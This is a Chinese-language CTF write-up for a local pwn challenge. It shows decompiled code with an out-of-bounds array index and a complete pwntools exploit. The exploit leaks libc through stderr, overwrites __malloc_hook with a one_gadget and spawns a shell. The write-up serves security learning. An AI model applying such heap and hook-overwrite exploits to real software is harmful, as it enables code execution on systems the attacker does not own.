保护全开 #数组越界
程序逻辑
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 __int64 savedregs; // [rsp+10h] [rbp+0h] 4 5 puts("This is a little game\n"); 6 puts("You can create a character and choose if he needs a partner.\n"); 7 while ( 1 ) 8 { 9 menu("You can create a character and choose if he needs a partner.\n", argv); 10 read_int("You can create a character and choose if he needs a partner.\n"); 11 switch ( (unsigned int)&savedregs ) 12 { 13 case 1u: 14 singledog(); 15 break; 16 case 2u: 17 luckydog(); 18 break; 19 case 3u: 20 edit_singledog(); 21 break; 22 case 4u: 23 edit_luckydog(); 24 break; 25 case 5u: 26 save_singledog(); 27 break; 28 case 6u: 29 exit(1); 30 return; 31 default: 32 continue; 33 } 34 } 35 }
在edit_singledog(),edit_luckydog()中,没有对数组的界限进行限制,所以可以对任意地址进行读写,所以泄露libc基址是最先考虑的问题。
ida查看two[-4]处即FILE *stderr
所以我这里泄露public stderr@@GLIBC_2_2_5(_IO_2_1stderr)地址进行分析。
1 unsigned __int64 edit_singledog() 2 { 3 int v1; // [rsp+4h] [rbp-Ch] 4 unsigned __int64 v2; // [rsp+8h] [rbp-8h] 5 6 v2 = __readfsqword(0x28u); 7 puts("which?"); 8 v1 = read_int(); 9 if ( two[v1] ) //数组越界 10 { 11 puts("Oh,singledog,changing your name can bring you good luck."); 12 read(0, two[v1], 0x20uLL); 13 printf("new name: %s", two[v1]); 14 } 15 else 16 { 17 puts("nothing here"); 18 } 19 return __readfsqword(0x28u) ^ v2; 20 }
exploit
1 from pwn import * 2 p=process('./apwn') 3 elf=ELF('./apwn') 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 5 6 p.recv() 7 p.sendline('1') 8 p.recv() 9 p.sendline('test') 10 p.recv() 11 p.sendline('3') 12 p.recv() 13 p.sendline('-4') 14 p.recv() 15 p.sendline('fffffff') 16 p.recv(18) 17 leak_addr=p.recv(6) #泄露_IO_2_1stderr地址 18 _IO_2_1_stderr_addr=(u64(leak_addr.ljust(8,'\x00')))-0x83 19 libc_base=_IO_2_1_stderr_addr-libc.symbols['_IO_2_1_stderr_'] 20 p.recv() 21 print 'libc_base: '+hex(libc_base) 22 23 p.sendline('2') 24 p.recv() 25 p.sendline('xxxx') 26 p.recv() 27 p.sendline('yyyy') 28 p.recv() 29 p.sendline('3') 30 p.recv() 31 p.sendline('80') #将one[1]修改为__malloc_hook地址 32 p.recv() 33 p.sendline(p64(libc_base+libc.symbols['__malloc_hook'])) 34 p.recv() 35 p.sendline('4') 36 p.recv() 37 p.sendline('0') 38 p.recv() 39 p.sendline('xxxx') 40 p.recv() 41 payload=p64(libc_base+0xf1147) #将__malloc_hook地址修改为one_gadget 42 p.sendline(payload) 43 p.recv() 44 p.sendline('1') #触发__malloc_hook 45 p.interactive()
https://bbs.pediy.com/thread-250417.htm